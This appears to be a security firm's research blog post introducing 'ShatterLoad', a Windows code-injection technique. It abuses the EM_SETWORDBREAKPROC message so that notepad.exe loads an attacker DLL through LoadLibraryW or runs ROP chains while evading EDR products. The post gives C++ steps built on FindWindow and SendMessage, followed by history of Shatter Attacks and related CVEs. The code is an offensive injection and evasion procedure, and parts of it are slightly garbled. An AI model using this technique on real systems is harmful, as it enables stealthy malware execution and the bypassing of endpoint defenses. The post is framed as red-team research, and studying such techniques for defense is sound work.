Feb 25, 2024
PTRZ-2024-0225
Rilke Petrosky of Pentraze Cybersecurity
During adversarial emulation and penetration testing operations, red teams often need to overcome limitations imposed by Endpoint Detection and Response (EDR) systems. Proxy execution and evasive ways of running code is key.
We’ve identified a new procedure for injecting a DLL or executing a Return-Oriented Programming (ROP) chain on remote processes by exploiting the Windows message passing system, known as “Shatter Attacks.” to inject DLLs and even run arbitrary code without using traditional syscalls and Win32 API functions, providing a stealthy approach to code execution, avoiding use of highly monitored syscalls such as CreateRemoteThread
, VirtualAlloc
, and WriteProcessMemory
.
With ShatterLoad, we bring back to life some of the principles in Shatter Attacks by abusing the EM_SETWORDBREAKPROC message in order to forcefully assign a word-break callback function on a trusted process’ text box, such as multiline edit or rich edit controls. (See [Background and Previous Work](Background and Previous Work) for some history and context).
Whenever a line reaches the maximum width of any multiline text control, this function is called with the pointer to the text of the edit control, and other parameters such as the index of the character where the word breaks, the total characters in the edit control text, and an action to take (break word, break line, moving word left or right, etc.). This function follows the EDITWORDBREAKPROCA function type:
EDITWORDBREAKPROCA Editwordbreakproca;
int Editwordbreakproca(
[in] LPSTR lpch, // A pointer to the text of the edit control.
[in] int ichCurrent, // An index to a character position in the buffer of text that identifies the point at which the function should begin checking for a word break.
[in] int cch, // The number of TCHARs in the edit control text.
[in] int code // The action to be taken by the callback function.
)
{...}
This feature can be leveraged as an indirect function call primitive, triggering execution of any arbitrary position within the target process’ address space.
Our exploit can use notepad.exe, a trusted program signed by Microsoft, as a scape goat process for proxy execution, following these steps:
HWND hwnd = FindWindow("Notepad", NULL);
hwnd = FindWindowEx(hw, NULL, "Edit", NULL);
PVOID textbox = (PVOID)SendMessage(hw, EM_GETHANDLE, 0, 0);
cout << "Main textbox's handle: " << std::hex << textbox << "\n";
LoadLibraryW
:SendMessage(hwnd, EM_SETWORDBREAKPROC, 0, (LPARAM)LoadLibraryW);
SendMessage(hwndEdit, WM_SETTEXT, 0, (LPARAM)L"C:\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\AbsolutePathOfThe\\injected.dll\x00");
UpdateWindow(hwnd);```
During many adversarial emulation engagements, we’ve proven this technique to evade industry’s top EDR solutions. This is highy evasive because:
LoadLibraryW
function its logged its own.Also, this same technique can be used for more advanced ROP chain exploitation and code reuse attacks. With some useful gadgets in the target process and system libraries, we can also use the Shatter Load technique to force execution of a any ROP chain or any function, with the benefit of some level of control over the function’s arguments and the rcx
, rdx
, r8
and r9
registers.
Shatter Attacks, known for decades, are no longer considered a concern for privilege escalation and code execution due to several security advancements such as User Interface Privilege Isolation (UIPI), improvements in cross-session window messaging isolation, and features like Data Execution Prevention (DEP). Historically, Shatter Attacks exploited window messages such as WM_SETTEXT and WM_TIMER to write and execute arbitrary shellcode within the context of other processes, primarily to gain elevated privileges.
Their ease of exploitation and severity earned Shatter Attacks their very own common weakness exposure: CWE-422: Unprotected Windows Messaging Channel.
Many other researchers have previously used this technique for other purposes. Some notable mentions:
Chris Paget (August 2002): His seminal work, “Exploiting design flaws in the Win32 API for privilege escalation”, demonstrated how design flaws in the Win32 API could be used for privilege escalation.
Multiple CVEs using the old Shatter Attacks:
Reference | Description |
---|---|
CVE-2002-0971 | Bypass GUI and access restricted dialog box. |
CVE-2002-1230 | Gain privileges via Windows message. |
CVE-2003-0350 | A control allows a change to a pointer for a callback function using Windows message. |
CVE-2003-0908 | Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access “open file” dialog. |
CVE-2004-0213 | Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908. |
CVE-2004-0207 | User can call certain API functions to modify certain properties of privileged programs. |
Proactive assessment using tactics, techniques, and procedures of actual attackers to identify security flaws, incorrect configurations, and vulnerabilities.
Comprehensive application protection, ensuring robust security throughout the entire software development lifecycle.
Simulate and emulate advanced cyber attacks to pinpoint vulnerabilities and test your organization's defense mechanisms, ensuring robust resilience against real-world threats.
Proactive process to identify, prioritize, and address security vulnerabilities in systems and software, enhancing an organization's defense against evolving cyber threats.